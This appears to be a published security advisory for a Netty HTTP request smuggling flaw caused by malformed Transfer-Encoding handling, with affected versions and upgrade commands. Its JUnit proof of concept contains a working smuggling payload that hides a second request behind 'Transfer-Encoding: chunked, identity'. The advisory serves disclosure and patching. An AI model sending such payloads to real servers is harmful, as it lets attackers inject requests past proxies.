Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding
Published 7 May 2026 · Updated 10 Sept 2026
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Affected packages
- Affected
- >=4.2.0.Alpha1 <4.2.13.Final
- Fixed in
- 4.2.13.Final
mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.2.13.Final -DforceVersion=true- Affected
- <4.1.133.Final
- Fixed in
- 4.1.133.Final
mvn versions:use-dep-version -Dincludes=io.netty:netty-codec-http -DdepVersion=4.1.133.Final -DforceVersion=trueDetails
Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}Impact
HTTP Request Smuggling: Attacker injects arbitrary HTTP requests
Is GHSA-38f8-5428-x5cv in any of your client repos?
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References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.